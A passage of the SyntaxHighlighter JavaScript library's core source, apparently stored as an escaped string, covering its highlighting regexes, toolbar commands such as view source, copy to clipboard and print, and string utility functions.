/\"([^\\\\\"\\n]|\\\\.)*\"/g,\n\t\tsingleQuotedString\t\t\t: /'([^\\\\'\\n]|\\\\.)*'/g,\n\t\tmultiLineDoubleQuotedString\t: /\"([^\\\\\"]|\\\\.)*\"/g,\n\t\tmultiLineSingleQuotedString\t: /'([^\\\\']|\\\\.)*'/g,\n\t\txmlComments\t\t\t\t\t: /(&lt;|<)!--[\\s\\S]*?--(&gt;|>)/gm,\n\t\turl\t\t\t\t\t\t\t: /&lt;\\w+:\\/\\/[\\w-.\\/?%&=@:;]*&gt;|\\w+:\\/\\/[\\w-.\\/?%&=@:;]*/g,\n\n\t\t/** <?= ?> tags. */\n\t\tphpScriptTags \t\t\t\t: { left: /(&lt;|<)\\?=?/g, right: /\\?(&gt;|>)/g },\n\n\t\t/** <%= %> tags. */\n\t\taspScriptTags\t\t\t\t: { left: /(&lt;|<)%=?/g, right: /%(&gt;|>)/g },\n\n\t\t/** <script></script> tags. */\n\t\tscriptScriptTags\t\t\t: { left: /(&lt;|<)\\s*script.*?(&gt;|>)/gi, right: /(&lt;|<)\\/\\s*script\\s*(&gt;|>)/gi }\n\t},\n\n\ttoolbar : {\n\t\t/**\n\t\t * Creates new toolbar for a highlighter.\n\t\t * @param {Highlighter} highlighter    Target highlighter.\n\t\t */\n\t\tcreate : function(highlighter)\n\t\t{\n\t\t\tvar div = document.createElement('DIV'),\n\t\t\t\titems = sh.toolbar.items\n\t\t\t\t;\n\n\t\t\tdiv.className = 'toolbar';\n\n\t\t\tfor (var name in items)\n\t\t\t{\n\t\t\t\tvar constructor = items[name],\n\t\t\t\t\tcommand = new constructor(highlighter),\n\t\t\t\t\telement = command.create()\n\t\t\t\t\t;\n\n\t\t\t\thighlighter.toolbarCommands[name] = command;\n\n\t\t\t\tif (element == null)\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif (typeof(element) == 'string')\n\t\t\t\t\telement = sh.toolbar.createButton(element, highlighter.id, name);\n\n\t\t\t\telement.className += 'item ' + name;\n\t\t\t\tdiv.appendChild(element);\n\t\t\t}\n\n\t\t\treturn div;\n\t\t},\n\n\t\t/**\n\t\t * Create a standard anchor button for the toolbar.\n\t\t * @param {String} label\t\t\tLabel text to display.\n\t\t * @param {String} highlighterId\tHighlighter ID that this button would belong to.\n\t\t * @param {String} commandName\t\tCommand name that would be executed.\n\t\t * @return {Element}\t\t\t\tReturns an 'A' element.\n\t\t */\n\t\tcreateButton : function(label, highlighterId, commandName)\n\t\t{\n\t\t\tvar a = document.createElement('a'),\n\t\t\t\tstyle = a.style,\n\t\t\t\tconfig = sh.config,\n\t\t\t\twidth = config.toolbarItemWidth,\n\t\t\t\theight = config.toolbarItemHeight\n\t\t\t\t;\n\n\t\t\ta.href = '#' + commandName;\n\t\t\ta.title = label;\n\t\t\ta.highlighterId = highlighterId;\n\t\t\ta.commandName = commandName;\n\t\t\ta.innerHTML = label;\n\n\t\t\tif (isNaN(width) == false)\n\t\t\t\tstyle.width = width + 'px';\n\n\t\t\tif (isNaN(height) == false)\n\t\t\t\tstyle.height = height + 'px';\n\n\t\t\ta.onclick = function(e)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tsh.toolbar.executeCommand(\n\t\t\t\t\t\tthis,\n\t\t\t\t\t\te || window.event,\n\t\t\t\t\t\tthis.highlighterId,\n\t\t\t\t\t\tthis.commandName\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tcatch(e)\n\t\t\t\t{\n\t\t\t\t\tsh.utils.alert(e.message);\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t};\n\n\t\t\treturn a;\n\t\t},\n\n\t\t/**\n\t\t * Executes a toolbar command.\n\t\t * @param {Element}\t\tsender  \t\tSender element.\n\t\t * @param {MouseEvent}\tevent\t\t\tOriginal mouse event object.\n\t\t * @param {String}\t\thighlighterId\tHighlighter DIV element ID.\n\t\t * @param {String}\t\tcommandName\t\tName of the command to execute.\n\t\t * @return {Object} Passes out return value from command execution.\n\t\t */\n\t\texecuteCommand : function(sender, event, highlighterId, commandName, args)\n\t\t{\n\t\t\tvar highlighter = sh.vars.highlighters[highlighterId],\n\t\t\t\tcommand\n\t\t\t\t;\n\n\t\t\tif (highlighter == null || (command = highlighter.toolbarCommands[commandName]) == null)\n\t\t\t\treturn null;\n\n\t\t\treturn command.execute(sender, event, args);\n\t\t},\n\n\t\t/** Collection of toolbar items. */\n\t\titems : {\n\t\t\texpandSource : function(highlighter)\n\t\t\t{\n\t\t\t\tthis.create = function()\n\t\t\t\t{\n\t\t\t\t\tif (highlighter.getParam('collapse') != true)\n\t\t\t\t\t\treturn;\n\n\t\t\t\t\treturn sh.config.strings.expandSource;\n\t\t\t\t};\n\n\t\t\t\tthis.execute = function(sender, event, args)\n\t\t\t\t{\n\t\t\t\t\tvar div = highlighter.div;\n\n\t\t\t\t\tsender.parentNode.removeChild(sender);\n\t\t\t\t\tdiv.className = div.className.replace('collapsed', '');\n\t\t\t\t};\n\t\t\t},\n\n\t\t\t/**\n\t\t\t * Command to open a new window and display the original unformatted source code inside.\n\t\t\t */\n\t\t\tviewSource : function(highlighter)\n\t\t\t{\n\t\t\t\tthis.create = function()\n\t\t\t\t{\n\t\t\t\t\treturn sh.config.strings.viewSource;\n\t\t\t\t};\n\n\t\t\t\tthis.execute = function(sender, event, args)\n\t\t\t\t{\n\t\t\t\t\tvar code = sh.utils.fixInputString(highlighter.originalCode).replace(/</g, '&lt;'),\n\t\t\t\t\t\twnd = sh.utils.popup('', '_blank', 750, 400, 'location=0, resizable=1, menubar=0, scrollbars=1')\n\t\t\t\t\t\t;\n\n\t\t\t\t\tcode = sh.utils.unindent(code);\n\n\t\t\t\t\twnd.document.write('<pre>' + code + '</pre>');\n\t\t\t\t\twnd.document.close();\n\t\t\t\t};\n\t\t\t},\n\n\t\t\t/**\n\t\t\t * Command to copy the original source code in to the clipboard.\n\t\t\t * Uses Flash method if <code>clipboardSwf</code> is configured.\n\t\t\t */\n\t\t\tcopyToClipboard : function(highlighter)\n\t\t\t{\n\t\t\t\tvar flashDiv, flashSwf,\n\t\t\t\t\thighlighterId = highlighter.id\n\t\t\t\t\t;\n\n\t\t\t\tthis.create = function()\n\t\t\t\t{\n\t\t\t\t\tvar config = sh.config;\n\n\t\t\t\t\t// disable functionality if running locally\n\t\t\t\t\tif (config.clipboardSwf == null)\n\t\t\t\t\t\treturn null;\n\n\t\t\t\t\tfunction params(list)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar result = '';\n\n\t\t\t\t\t\tfor (var name in list)\n\t\t\t\t\t\t\tresult += \"<param name='\" + name + \"' value='\" + list[name] + \"'/>\";\n\n\t\t\t\t\t\treturn result;\n\t\t\t\t\t};\n\n\t\t\t\t\tfunction attributes(list)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar result = '';\n\n\t\t\t\t\t\tfor (var name in list)\n\t\t\t\t\t\t\tresult += \" \" + name + \"='\" + list[name] + \"'\";\n\n\t\t\t\t\t\treturn result;\n\t\t\t\t\t};\n\n\t\t\t\t\tvar args1 = {\n\t\t\t\t\t\t\twidth\t\t\t\t: config.toolbarItemWidth,\n\t\t\t\t\t\t\theight\t\t\t\t: config.toolbarItemHeight,\n\t\t\t\t\t\t\tid\t\t\t\t\t: highlighterId + '_clipboard',\n\t\t\t\t\t\t\ttype\t\t\t\t: 'application/x-shockwave-flash',\n\t\t\t\t\t\t\ttitle\t\t\t\t: sh.config.strings.copyToClipboard\n\t\t\t\t\t\t},\n\n\t\t\t\t\t\t// these arguments are used in IE's <param /> collection\n\t\t\t\t\t\targs2 = {\n\t\t\t\t\t\t\tallowScriptAccess\t: 'always',\n\t\t\t\t\t\t\twmode\t\t\t\t: 'transparent',\n\t\t\t\t\t\t\tflashVars\t\t\t: 'highlighterId=' + highlighterId,\n\t\t\t\t\t\t\tmenu\t\t\t\t: 'false'\n\t\t\t\t\t\t},\n\t\t\t\t\t\tswf = config.clipboardSwf,\n\t\t\t\t\t\thtml\n\t\t\t\t\t;\n\n\t\t\t\t\tif (/msie/i.test(navigator.userAgent))\n\t\t\t\t\t{\n\t\t\t\t\t\thtml = '<object'\n\t\t\t\t\t\t\t+ attributes({\n\t\t\t\t\t\t\t\tclassid : 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000',\n\t\t\t\t\t\t\t\tcodebase : 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0'\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t+ attributes(args1)\n\t\t\t\t\t\t\t+ '>'\n\t\t\t\t\t\t\t+ params(args2)\n\t\t\t\t\t\t\t+ params({ movie : swf })\n\t\t\t\t\t\t\t+ '</object>'\n\t\t\t\t\t\t;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\thtml = '<embed'\n\t\t\t\t\t\t\t+ attributes(args1)\n\t\t\t\t\t\t\t+ attributes(args2)\n\t\t\t\t\t\t\t+ attributes({ src : swf })\n\t\t\t\t\t\t\t+ '/>'\n\t\t\t\t\t\t;\n\t\t\t\t\t}\n\n\t\t\t\t\tflashDiv = document.createElement('div');\n\t\t\t\t\tflashDiv.innerHTML = html;\n\n\t\t\t\t\treturn flashDiv;\n\t\t\t\t};\n\n\t\t\t\tthis.execute = function(sender, event, args)\n\t\t\t\t{\n\t\t\t\t\tvar command = args.command;\n\n\t\t\t\t\tswitch (command)\n\t\t\t\t\t{\n\t\t\t\t\t\tcase 'get':\n\t\t\t\t\t\t\tvar code = sh.utils.unindent(\n\t\t\t\t\t\t\t\tsh.utils.fixInputString(highlighter.originalCode)\n\t\t\t\t\t\t\t\t\t.replace(/&lt;/g, '<')\n\t\t\t\t\t\t\t\t\t.replace(/&gt;/g, '>')\n\t\t\t\t\t\t\t\t\t.replace(/&amp;/g, '&')\n\t\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\tif(window.clipboardData)\n\t\t\t\t\t\t\t\t// will fall through to the confirmation because there isn't a break\n\t\t\t\t\t\t\t\twindow.clipboardData.setData('text', code);\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\treturn sh.utils.unindent(code);\n\n\t\t\t\t\t\tcase 'ok':\n\t\t\t\t\t\t\tsh.utils.alert(sh.config.strings.copyToClipboardConfirmation);\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase 'error':\n\t\t\t\t\t\t\tsh.utils.alert(args.message);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t},\n\n\t\t\t/** Command to print the colored source code. */\n\t\t\tprintSource : function(highlighter)\n\t\t\t{\n\t\t\t\tthis.create = function()\n\t\t\t\t{\n\t\t\t\t\treturn sh.config.strings.print;\n\t\t\t\t};\n\n\t\t\t\tthis.execute = function(sender, event, args)\n\t\t\t\t{\n\t\t\t\t\tvar iframe = document.createElement('IFRAME'),\n\t\t\t\t\t\tdoc = null\n\t\t\t\t\t\t;\n\n\t\t\t\t\t// make sure there is never more than one hidden iframe created by SH\n\t\t\t\t\tif (sh.vars.printFrame != null)\n\t\t\t\t\t\tdocument.body.removeChild(sh.vars.printFrame);\n\n\t\t\t\t\tsh.vars.printFrame = iframe;\n\n\t\t\t\t\t// this hides the iframe\n\t\t\t\t\tiframe.style.cssText = 'position:absolute;width:0px;height:0px;left:-500px;top:-500px;';\n\n\t\t\t\t\tdocument.body.appendChild(iframe);\n\t\t\t\t\tdoc = iframe.contentWindow.document;\n\n\t\t\t\t\tcopyStyles(doc, window.document);\n\t\t\t\t\tdoc.write('<div class=\"' + highlighter.div.className.replace('collapsed', '') + ' printing\">' + highlighter.div.innerHTML + '</div>');\n\t\t\t\t\tdoc.close();\n\n\t\t\t\t\tiframe.contentWindow.focus();\n\t\t\t\t\tiframe.contentWindow.print();\n\n\t\t\t\t\tfunction copyStyles(destDoc, sourceDoc)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar links = sourceDoc.getElementsByTagName('link');\n\n\t\t\t\t\t\tfor(var i = 0; i < links.length; i++)\n\t\t\t\t\t\t\tif(links[i].rel.toLowerCase() == 'stylesheet' && /shCore\\.css$/.test(links[i].href))\n\t\t\t\t\t\t\t\tdestDoc.write('<link type=\"text/css\" rel=\"stylesheet\" href=\"' + links[i].href + '\"></link>');\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t},\n\n\t\t\t/** Command to display the about dialog window. */\n\t\t\tabout : function(highlighter)\n\t\t\t{\n\t\t\t\tthis.create = function()\n\t\t\t\t{\n\t\t\t\t\treturn sh.config.strings.help;\n\t\t\t\t};\n\n\t\t\t\tthis.execute = function(sender, event)\n\t\t\t\t{\n\t\t\t\t\tvar wnd = sh.utils.popup('', '_blank', 500, 250, 'scrollbars=0'),\n\t\t\t\t\t\tdoc = wnd.document\n\t\t\t\t\t\t;\n\n\t\t\t\t\tdoc.write(sh.config.strings.aboutDialog);\n\t\t\t\t\tdoc.close();\n\t\t\t\t\twnd.focus();\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\t},\n\n\tutils : {\n\t\t/**\n\t\t * Finds an index of element in the array.\n\t\t * @ignore\n\t\t * @param {Object} searchElement\n\t\t * @param {Number} fromIndex\n\t\t * @return {Number} Returns index of element if found; -1 otherwise.\n\t\t */\n\t\tindexOf : function(array, searchElement, fromIndex)\n\t\t{\n\t\t\tfromIndex = Math.max(fromIndex || 0, 0);\n\n\t\t\tfor (var i = fromIndex; i < array.length; i++)\n\t\t\t\tif(array[i] == searchElement)\n\t\t\t\t\treturn i;\n\n\t\t\treturn -1;\n\t\t},\n\n\t\t/**\n\t\t * Generates a unique element ID.\n\t\t */\n\t\tguid : function(prefix)\n\t\t{\n\t\t\treturn prefix + Math.round(Math.random() * 1000000).toString();\n\t\t},\n\n\t\t/**\n\t\t * Merges two objects. Values from obj2 override values in obj1.\n\t\t * Function is NOT recursive and works only for one dimensional objects.\n\t\t * @param {Object} obj1 First object.\n\t\t * @param {Object} obj2 Second object.\n\t\t * @return {Object} Returns combination of both objects.\n\t\t */\n\t\tmerge: function(obj1, obj2)\n\t\t{\n\t\t\tvar result = {}, name;\n\n\t\t\tfor (name in obj1)\n\t\t\t\tresult[name] = obj1[name];\n\n\t\t\tfor (name in obj2)\n\t\t\t\tresult[name] = obj2[name];\n\n\t\t\treturn result;\n\t\t},\n\n\t\t/**\n\t\t * Attempts to convert string to boolean.\n\t\t * @param {String} value Input string.\n\t\t * @return {Boolean} Returns true if input was \"true\", false if input was \"false\" and value otherwise.\n\t\t */\n\t\ttoBoolean: function(value)\n\t\t{\n\t\t\tswitch (value)\n\t\t\t{\n\t\t\t\tcase \"true\":\n\t\t\t\t\treturn true;\n\n\t\t\t\tcase \"false\":\n\t\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\treturn value;\n\t\t},\n\n\t\t/**\n\t\t * Opens up a centered popup window.\n\t\t * @param {String} url\t\tURL to open in the window.\n\t\t * @param {String} name\t\tPopup name.\n\t\t * @param {int} width\t\tPopup width.\n\t\t * @param {int} height\t\tPopup height.\n\t\t * @param {String} options\twindow.open() options.\n\t\t * @return {Window}\t\t\tReturns window instance.\n\t\t */\n\t\tpopup: function(url, name, width, height, options)\n\t\t{\n\t\t\tvar x = (screen.width - width) / 2,\n\t\t\t\ty = (screen.height - height) / 2\n\t\t\t\t;\n\n\t\t\toptions +=\t', left=' + x +\n\t\t\t\t\t\t', top=' + y +\n\t\t\t\t\t\t', width=' + width +\n\t\t\t\t\t\t', height=' + height\n\t\t\t\t;\n\t\t\toptions = options.replace(/^,/, '');\n\n\t\t\tvar win = window.open(url, name, options);\n\t\t\twin.focus();\n\t\t\treturn win;\n\t\t},\n\n\t\t/**\n\t\t * Adds event handler to the target object.\n\t\t * @param {Object} obj\t\tTarget object.\n\t\t * @param {String} type\t\tName of the event.\n\t\t * @param {Function} func\tHandling function.\n\t\t */\n\t\taddEvent: function(obj, type, func)\n\t\t{\n\t\t\tif (obj.attachEvent)\n\t\t\t{\n\t\t\t\tobj['e' + type + func] = func;\n\t\t\t\tobj[type + func] = function()\n\t\t\t\t{\n\t\t\t\t\tobj['e' + type + func](window.event);\n\t\t\t\t}\n\t\t\t\tobj.attachEvent('on' + type, obj[type + func]);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tobj.addEventListener(type, func, false);\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t\t * Displays an alert.\n\t\t * @param {String} str String to display.\n\t\t */\n\t\talert: function(str)\n\t\t{\n\t\t\talert(sh.config.strings.alert + str)\n\t\t},\n\n\t\t/**\n\t\t * Finds a brush by its alias.\n\t\t *\n\t\t * @param {String} alias\tBrush alias.\n\t\t * @param {Boolean} alert\tSuppresses the alert if false.\n\t\t * @return {Brush}\t\t\tReturns bursh constructor if found, null otherwise.\n\t\t */\n\t\tfindBrush: function(alias, alert)\n\t\t{\n\t\t\tvar brushes = sh.vars.discoveredBrushes,\n\t\t\t\tresult = null\n\t\t\t\t;\n\n\t\t\tif (brushes == null)\n\t\t\t{\n\t\t\t\tbrushes = {};\n\n\t\t\t\t// Find all brushes\n\t\t\t\tfor (var brush in sh.brushes)\n\t\t\t\t{\n\t\t\t\t\tvar aliases = sh.brushes[brush].aliases;\n\n\t\t\t\t\tif (aliases == null)\n\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t// keep the brush name\n\t\t\t\t\tsh.brushes[brush].name = brush.toLowerCase();\n\n\t\t\t\t\tfor (var i = 0; i < aliases.length; i++)\n\t\t\t\t\t\tbrushes[aliases[i]] = brush;\n\t\t\t\t}\n\n\t\t\t\tsh.vars.discoveredBrushes = brushes;\n\t\t\t}\n\n\t\t\tresult = sh.brushes[brushes[alias]];\n\n\t\t\tif (result == null && alert != false)\n\t\t\t\tsh.utils.alert(sh.config.strings.noBrush + alias);\n\n\t\t\treturn result;\n\t\t},\n\n\t\t/**\n\t\t * Executes a callback on each line and replaces each line with result from the callback.\n\t\t * @param {Object} str\t\t\tInput string.\n\t\t * @param {Object} callback\t\tCallback function taking one string argument and returning a string.\n\t\t */\n\t\teachLine: function(str, callback)\n\t\t{\n\t\t\tvar lines = str.split('\\n');\n\n\t\t\tfor (var i = 0; i < lines.length; i++)\n\t\t\t\tlines[i] = callback(lines[i]);\n\n\t\t\treturn lines.join('\\n');\n\t\t},\n\n\t\t/**\n\t\t * This is a special trim which only removes first and last empty lines\n\t\t * and doesn't affect valid leading space on the first line.\n\t\t *\n\t\t * @param {String} str   Input string\n\t\t * @return {String}      Returns string without empty first and last lines.\n\t\t */\n\t\ttrimFirstAndLastLines: function(str)\n\t\t{\n\t\t\treturn str.replace(/^[ ]*[\\n]+|[\\n]*[ ]*$/g, '');\n\t\t},\n\n\t\t/**\n\t\t * Parses key/value pairs into hash object.\n\t\t *\n\t\t * Understands the following formats:\n\t\t * - name: word;\n\t\t * - name: [word, word];\n\t\t * - name: \"string\";\n\t\t * - name: 'string';\n\t\t *\n\t\t * For example:\n\t\t *   name1: value; name2: [value, value]; name3: 'value'\n\t\t *\n\t\t * @param {String} str    Input string.\n\t\t * @return {Object}       Returns deserialized object.\n\t\t */\n\t\tparseParams: function(str)\n\t\t{\n\t\t\tvar match,\n\t\t\t\tresult = {},\n\t\t\t\tarrayRegex = new XRegExp(\"^\\\\[(?<values>(.*?))\\\\]$\"),\n\t\t\t\tregex = new XRegExp(\n\t\t\t\t\t\"(?<name>[\\\\w-]+)\" +\n\t\t\t\t\t\"\\\\s*:\\\\s*\" +\n\t\t\t\t\t\"(?<value>\" +\n\t\t\t\t\t\t\"[\\\\w-%#]+|\" +\t\t// word\n\t\t\t\t\t\t\"\\\\[.*?\\\\]|\" +\t\t// [] array\n\t\t\t\t\t\t'\".*?\"|' +\t\t\t// \"\" string\n\t\t\t\t\t\t\"'.*?'\" +\t\t\t// '' string\n\t\t\t\t\t\")\\\\s*;?\",\n\t\t\t\t\t\"g\"\n\t\t\t\t)\n\t\t\t\t;\n\n\t\t\twhile ((match = regex.exec(str)) != null)\n\t\t\t{\n\t\t\t\tvar value = match.value\n\t\t\t\t\t.replace(/^['\"]|['\"]$/g, '') // strip quotes from end of strings\n\t\t\t\t\t;\n\n\t\t\t\t// try to parse array value\n\t\t\t\tif (value != null && arrayRegex.test(value))\n\t\t\t\t{\n\t\t\t\t\tvar m = arrayRegex.exec(value);\n\t\t\t\t\tvalue = m.values.length > 0 ? m.values.split(/\\s*,\\s*/) : [];\n\t\t\t\t}\n\n\t\t\t\tresult[match.name] = value;\n\t\t\t}\n\n\t\t\treturn result;\n\t\t},\n\n\t\t/**\n\t\t * Wraps each line of the string into <code/> tag with given style applied to it.\n\t\t *\n\t\t * @param {String} str   Input string.\n\t\t * @param {String} css   Style name to apply to the string.\n\t\t * @return {String}      Returns input string with each line surrounded by <span/> tag.\n\t\t */\n\t\tdecorate: function(str, css)\n\t\t{\n\t\t\tif (str == null || str.length == 0 || str == '\\n')\n\t\t\t\treturn str;\n\n\t\t\tstr = str.replace(/</g, '&lt;');\n\n\t\t\t// Replace two or more sequential spaces with &nbsp; leaving last space untouched.\n\t\t\tstr = str.replace(/ {2,}/g, function(m)\n\t\t\t{\n\t\t\t\tvar spaces = '';\n\n\t\t\t\tfor (var i = 0; i < m.length - 1; i++)\n\t\t\t\t\tspaces += '&nbsp;';\n\n\t\t\t\treturn spaces + ' ';\n\t\t\t});\n\n\t\t\t// Split each line and apply <span class=\"...\">...</span> to them so that\n\t\t\t// leading spaces aren't included.\n\t\t\tif (css != null)\n\t\t\t\tstr = sh.utils.eachLine(str, function(line)\n\t\t\t\t{\n\t\t\t\t\tif (line.length == 0)\n\t\t\t\t\t\treturn '';\n\n\t\t\t\t\tvar spaces = '';\n\n\t\t\t\t\tline = line.replace(/^(&nbsp;| )+/, function(s)\n\t\t\t\t\t{\n\t\t\t\t\t\tspaces = s;\n\t\t\t\t\t\treturn '';\n\t\t\t\t\t});\n\n\t\t\t\t\tif (line.length == 0)\n\t\t\t\t\t\treturn spaces;\n\n\t\t\t\t\treturn spaces + '<code class=\"' + css + '\">' + line + '</code>';\n\t\t\t\t});\n\n\t\t\treturn str;\n\t\t},\n\n\t\t/**\n\t\t * Pads number with zeros until it's length is the same as given length.\n\t\t *\n\t\t * @param {Number} number\tNumber to pad.\n\t\t * @param {Number} length\tMax string length with.\n\t\t * @return {String}\t\t\tReturns a string padded with proper amount of '0'.\n\t\t */\n\t\tpadNumber : function(number, length)\n\t\t{\n\t\t\tvar result = number.toString();\n\n\t\t\twhile (result.length < length)\n\t\t\t\tresult = '0' + result;\n\n\t\t\treturn result;\n\t\t},\n\n\t\t/**\n\t\t * Measures width of a single space character.\n\t\t * @return {Number} Returns width of a single space character.\n\t\t */\n\t\tmeasureSpace : function()\n\t\t{\n\t\t\tvar container = document.createElement('div'),\n\t\t\t\tspan,\n\t\t\t\tresult = 0,\n\t\t\t\tbody = document.body,\n\t\t\t\tid = sh.utils.guid('measureSpace'),\n\n\t\t\t\t// variable names will be compressed, so it's better than a plain string\n\t\t\t\tdivOpen = '<div class=\"',\n\t\t\t\tcloseDiv = '</div>',\n\t\t\t\tcloseSpan = '</span>'\n\t\t\t\t;\n\n\t\t\t// we have to duplicate highlighter nested structure in order to get an acurate space measurment\n\t\t\tcontainer.innerHTML =\n\t\t\t\tdivOpen + 'syntaxhighlighter\">'\n\t\t\t\t\t+ divOpen + 'lines\">'\n\t\t\t\t\t\t+ divOpen + 'line\">'\n\t\t\t\t\t\t\t+ divOpen + 'content'\n\t\t\t\t\t\t\t\t+ '\"><span class=\"block\"><span id=\"' + id + '\">&nbsp;' + closeSpan + closeSpan\n\t\t\t\t\t\t\t+ closeDiv\n\t\t\t\t\t\t+ closeDiv\n\t\t\t\t\t+ closeDiv\n\t\t\t\t+ closeDiv\n\t\t\t\t;\n\n\t\t\tbody.appendChild(container);\n\t\t\tspan = document.getElementById(id);\n\n\t\t\tif (/opera/i.test(navigator.userAgent))\n\t\t\t{\n\t\t\t\tvar style = window.getComputedStyle(span, null);\n\t\t\t\tresult = parseInt(style.getPropertyValue(\"width\"));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tresult = span.offsetWidth;\n\t\t\t}\n\n\t\t\tbody.removeChild(container);\n\n\t\t\treturn result;\n\t\t},\n\n\t\t/**\n\t\t * Replaces tabs with spaces.\n\t\t *\n\t\t * @param {String} code\t\tSource code.\n\t\t * @param {Number} tabSize\tSize of the tab.\n\t\t * @return {String}\t\t\tReturns code with all tabs replaces by spaces.\n\t\t */\n\t\tprocessTabs : function(code, tabSize)\n\t\t{\n\t\t\tvar tab = '';\n\n\t\t\tfor (var i = 0; i < tabSize; i++)\n\t\t\t\ttab += ' ';\n\n\t\t\treturn code.replace(/\\t/g, tab);\n\t\t},\n\n\t\t/**\n\t\t * Replaces tabs with smart spaces.\n\t\t *\n\t\t * @param {String} code    Code to fix the tabs in.\n\t\t * @param {Number} tabSize Number of spaces in a column.\n\t\t * @return {String}        Returns code with all tabs replaces with roper amount of spaces.\n\t\t */\n\t\tprocessSmartTabs : function(code, tabSize)\n\t\t{\n\t\t\tvar lines = code.split('\\n'),\n\t\t\t\ttab = '\\t',\n\t\t\t\tspaces = ''\n\t\t\t\t;\n\n\t\t\t// Create a string with 1000 spaces to copy spaces from...\n\t\t\t// It's assumed that there would be no indentation longer than that.\n\t\t\tfor (var i = 0; i < 50; i++)\n\t\t\t\tspaces += '                    '; // 20 spaces * 50\n\n\t\t\t// This function inserts specified amount of spaces in the string\n\t\t\t// where a tab is while removing that given tab.\n\t\t\tfunction insertSpaces(line, pos, count)\n\t\t\t{\n\t\t\t\treturn line.substr(0, pos)\n\t\t\t\t\t+ spaces.substr(0, count)\n\t\t\t\t\t+ line.substr(pos + 1, line.length) // pos + 1 will get rid of the tab\n\t\t\t\t\t;\n\t\t\t};\n\n\t\t\t// Go through all the lines and do the 'smart tabs' magic.\n\t\t\tcode = sh.utils.eachLine(code, function(line)\n\t\t\t{\n\t\t\t\tif (line.indexOf(tab) == -1)\n\t\t\t\t\treturn line;\n\n\t\t\t\tvar pos = 0;\n\n\t\t\t\twhile ((pos = line.indexOf(tab)) != -1)\n\t\t\t\t{\n\t\t\t\t\t// This is pretty much all there is to the 'smart tabs' logic.\n\t\t\t\t\t// Based on the position within the line and size of a tab,\n\t\t\t\t\t// calculate the amount of spaces we need to insert.\n\t\t\t\t\tvar spaces = tabSize - pos % tabSize;\n\t\t\t\t\tline = insertSpaces(line, pos, spaces);\n\t\t\t\t}\n\n\t\t\t\treturn line;\n\t\t\t});\n\n\t\t\treturn code;\n\t\t},\n\n\t\t/**\n\t\t * Performs various string fixes based on configuration.\n\t\t */\n\t\tfixInputString : function(str)\n\t\t{\n\t\t\tvar br = /<br\\s*\\/?>|&lt;br\\s*\\/?&gt;/gi;\n\n\t\t\tif (sh.config.bloggerMode == true)\n\t\t\t\tstr = str.replace(br, '\\n');\n\n\t\t\tif (sh.config.stripBrs == true)\n\t\t\t\tstr = str.replace(br, '');\n\n\t\t\treturn str;\n\t\t},\n\n\t\t/**\n\t\t * Removes all white space at the begining and end of a string.\n\t\t *\n\t\t * @param {String} str   String to trim.\n\t\t * @return {String}      Returns string without leading and following white space characters.\n\t\t */\n\t\ttrim: function(str)\n\t\t{\n\t\t\treturn str.replace(/^\\s+|\\s+$/g, '');\n\t\t},\n\n\t\t/**\n\t\t * Unindents a block of text by the lowest common indent amount.\n\t\t * @param {String} str   Text to unindent.\n\t\t * @return {String}      Returns unindented text block.\n\t\t */\n\t\tunindent: function(str)\n\t\t{\n\t\t\tvar lines = sh.utils.fixInputString(str).split('\\n'),\n\t\t\t\tindents = new Array(),\n\t\t\t\tregex = /^\\s*/,\n\t\t\t\tmin = 1000\n\t\t\t\t;\n\n\t\t\t// go through every line and check for common number of indents\n\t\t\tfor (var i = 0; i < lines.length && min > 0; i++)\n\t\t\t{\n\t\t\t\tvar line = lines[i];\n\n\t\t\t\tif (sh.utils.trim(line).length == 0)\n\t\t\t\t\tcontinue;\n\n\t\t\t\tvar matches = regex.exec(line);\n\n\t\t\t\t// In the event that just one line doesn't have leading white space\n\t\t\t\t// we can't unindent anything, so bail completely.\n\t\t\t\tif (matches == null)\n\t\t\t\t\treturn str;\n\n\t\t\t\tmin = Math.min(matches[0].length, min);\n\t\t\t}\n\n\t\t\t// trim minimum common number of white space from the begining of every line\n\t\t\tif (min > 0)\n\t\t\t\tfor (var i = 0; i < lines.length; i++)\n\t\t\t\t\tlines[i] = lines[i].substr(min);\n\n\t\t\treturn lines.join('\\n');\n\t\t},\n\n\t\t/**\n\t\t * Callback method for Array.sort() which sorts matches by\n\t\t * index position and then by length.\n\t\t *\n\t\t * @param {Match} m1\tLeft object.\n\t\t * @param {Match} m2    Right object.\n\t\t * @return {Number}     Returns -1, 0 or -1 as a comparison result.\n\t\t */\n\t\tmatchesSortCallback: function(m1, m2)\n\t\t{\n\t\t\t// sort matches by index first\n\t\t\tif(m1.index < m2.index)\n\t\t\t\treturn -1;\n\t\t\telse if(m1.index > m2.index)\n\t\t\t\treturn 1;\n\t\t\telse\n\t\t\t{\n\t\t\t\t// if index is the same, sort by length\n\t\t\t\tif(m1.length < m2.length)\n\t\t\t\t\treturn -1;\n\t\t\t\telse if(m1.length > m2.length)\n\t\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\treturn 0;\n\t\t},\n\n\t\t/**\n\t\t * Executes given regular expression on provided code and returns all\n\t\t * matches that are found.\n\t\t *\n\t\t * @param {String} code    Code to execute regular expression on.\n\t\t * @param {Object} regex   Regular expression item info from <code>regexList</code> collection.\n\t\t * @return {Array}         Returns a list of Match 